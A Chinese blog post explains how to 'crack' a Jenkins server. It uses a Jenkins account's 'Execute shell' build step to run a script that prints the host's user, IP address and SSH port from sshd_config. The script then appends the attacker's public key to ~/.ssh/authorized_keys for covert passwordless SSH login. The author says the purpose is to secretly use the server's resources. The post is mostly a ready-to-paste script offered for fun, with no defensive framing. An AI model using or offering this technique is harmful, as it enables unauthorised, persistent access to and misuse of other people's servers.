美文网首页linux&githubdocker
两步完成Jenkins服务器破解

两步完成Jenkins服务器破解

作者: cuieney | 来源:发表于2019-09-20 16:58 被阅读0次

前言


为什么突然想到了破解Jenkins服务器呢,无非是自己想远程登录上去,操作一些不可告人的秘密(其实也就是利用这台服务器可用资源)至于如何破解的呢!简单到爆,接下来让老夫娓娓道来

关于Jenkins


说道Jenkins,这个工具应该大家早有耳闻,一个持续集成的工具,我们可以在上面集成各种杂七杂八的项目。至于介绍也就不多说了。

条件

  • 登录Jenkins账户账号密码
  • 了解简单的Shell命令

以上两点有了,就可以开始我们的破解大业了,接下来就是如何或者说从哪里入手破解这台服务器,然后通过我们的电脑登录到Jenkins服务器了。

Action One

  1. 掌握上述的条件,通过浏览器登录Jenkins,随意创建配置一个Jenkins项目,也可以基于现有的项目进行操作,首先随便点进一个项目如下图所示
  1. 这里演示的是一个配置好的项目,可以正常编译成功,我们这时候只需要点击左方的配置选项按钮到达下图
  1. 可以看到这里需要我们为这个项目配置一系列的操作,包括这个项目所需要的环境。其实所有的配置最终为了将编译的结果告知于众,上图的倒数第二个Tab,构建的操作,在这里我们可以增加构建步骤,我们可以点击这个Tab看看有哪些我们可以操作的,点开之后会发现有很多的功能,如图所示
  1. 其实最关键的还是执行Shell,这个就是我们破解服务器的突破口,点击这个选项,可以看到如下窗口图
  1. 其实接下来就很简单了,既然我们能拿到在服务器里面执行Shell脚本的入口,想搞什么不行啊。打开命令行一梭子代码就搞定。

如果完成了以上5步,那我们离成功只剩下一步之遥了。

Action Two

登录远程服务器无非是通过SSH,但是我们也不知道这个服务器的用户名,IP,端口号怎么办。其实我们在第一步的时候已经拿到了Shell窗口,IP和用户名简单的两行代码就可以搞定

whoami

ifconfig

/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}' #直接过滤出ip地址 ubuntu
ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d\  -f2 #直接过滤出ip地址 mac

都是非常简单的命令,就可以拿到服务器的用户名及IP地址了,那么如何拿到远程SSH登录端口号呢?

vim /etc/ssh/sshd_config

这个就是SSH的启动配置文件,可以在里面搜索Port就可以找到远程开放的端口号,如下图所示

想图省事也可以这样更简单,把port拿到

cat /etc/ssh/sshd_config |grep -i port

那么我们都知道了如何拿到这些信息了,那么接下来如何登录呢,这就用到了Action One的第五步里面的Shell窗口。

只需要把下面的语句添加到Shell窗口里面就好,等Jenkins编译好了,下面的服务器的信息你也就可以从控制台输出日志里面拿到了

ROOT_NAME_CMD=$(whoami)
IP_CMD=$(/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}')
PORT_CMD=$(cat /etc/ssh/sshd_config |grep -i port)
echo $ROOT_NAME_CMD
echo ==========================
echo $IP_CMD
echo ==========================
echo $PORT_CMD

如果说IP地址为空的话,换一种方式grep ,不同的系统平台,脚本可能不一致,不闲麻烦直接把全部的ifconfig打印出来。

现在已经知道了服务器的IP用户名及端口号,那么接下来我们是不是直接可以SSH登录了呢。Say No!我们到现在为止只是拿到了账号而已,还差密码呢。肯定是登录不了的,那么密码我们如何拿到呢。拿到密码可是不容易的,但是我们这一条路走的比较困难,那我们换一条路,简单粗暴型,免密登录,那么如何才能免密登录呢!SSH免密登录大家日常应该有用到过,不然每次输入密码太恶心了,SSH免密登录所需要的条件就是pubic key,只要我们把自己的public key 给了服务器,这时候我们就有了服务器的授权,那就可以执行免密登录

pubkey一般都在这里 ~/.ssh/id_ras.pub,没有的自己创建一下 terminal 下 cd 到这个目录 ~/.ssh/ 输入 ssh keygen 不停的回车就行了。

拿到了我们本机的pubKey 如何给让服务器给我们授权呢,简单的一步就搞定,把我们的ssh pub key 内容追加到服务器~./ssh/目录下的authorized_keys文件夹中即可

echo "pubkey内容" >> ~/.ssh/authorized_keys

至此我们破解服务器的脚本已经完成了

ROOT_NAME_CMD=$(whoami)
IP_CMD=$(/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}')
PORT_CMD=$(cat /etc/ssh/sshd_config |grep -i port)
echo $ROOT_NAME_CMD
echo ==========================
echo $IP_CMD
echo ==========================
echo $PORT_CMD

echo "pubkey内容" >> ~/.ssh/authorized_keys

把这些代码复制到shell Action one 第五步的窗口中即可,别忘了保存

这时候回到Jenkins项目主页,点击构建,然后查看编译日志,所有的信息都会打印出来,然后这时候打开我们的terminal 悄悄的输入 ssh username@IP -p port 唰的一下,我们就登录了Jenkins服务器了。

Ending

至此Jenkins服务器就被我们破解了,其实目标明确了,手段吗,就看大家的了,简单粗暴即可,这也就是一种投机取巧的方式。大家可以玩玩,娱乐一下。

相关文章

  • 两步完成Jenkins服务器破解

    前言 为什么突然想到了破解Jenkins服务器呢,无非是自己想远程登录上去,操作一些不可告人的秘密(其实也就是利用...

  • 03 - Jenkins部署

    安装 Jenkins之前要求先确定你的 JDK 已经安装配置完成,推荐使用Linux服务器作为Jenkins服务器...

  • 15 Jenkins ssh公钥构建

    利用Jenkins构建的时候,连接应用服务器,如果要输入密钥,是不能自动完成的。这就需要配置jenkins服务器与...

  • Docker+Jenkins 自动化部署nodeJS项目

    Jenkins基本配置:1、运行Jenkins的服务器(暂且叫作:Jenkins服务器)2、Git仓库服务器(人家...

  • Jenkins使用及原理

    一、Jenkins服务器的部署配置 Jenkins服务器的部署配置工作的一般是由公司的运维人员完成,研发人员只需要...

  • 5、持续集成-jenkins

    一:通过jenkins调用shell脚本完成从Gitlab服务器获取代码、打包、部署到web服务器、将web服务器...

  • Jenkins基础篇17-Jenkins服务器查看JOB以及其配

    前面已经完成“从Git仓库拉取最新代码,打包到Jenkins工作空间,但想彻底了解Jenkins还是得去服务器看看...

  • Jenkins离线部署

    Jenkins部署 部署服务器 版本 安装jenkins 修改jenkins启动默认端口 启动jenkins 使用...

  • jenkins 搭建gitee实现代码自动化部署

    环境:这里jenkins服务器和测试服务器位于同一台jenkins:192.168.1.1测试服务器:192.16...

  • Jenkins迁移job

    Jenkins迁移job 说明:从一个Jenkins服务器A将现有job迁移到另外一个Jenkins服务器B。 方...

网友评论

    本文标题:两步完成Jenkins服务器破解

    本文链接:https://www.haomeiwen.com/subject/nitmectx.html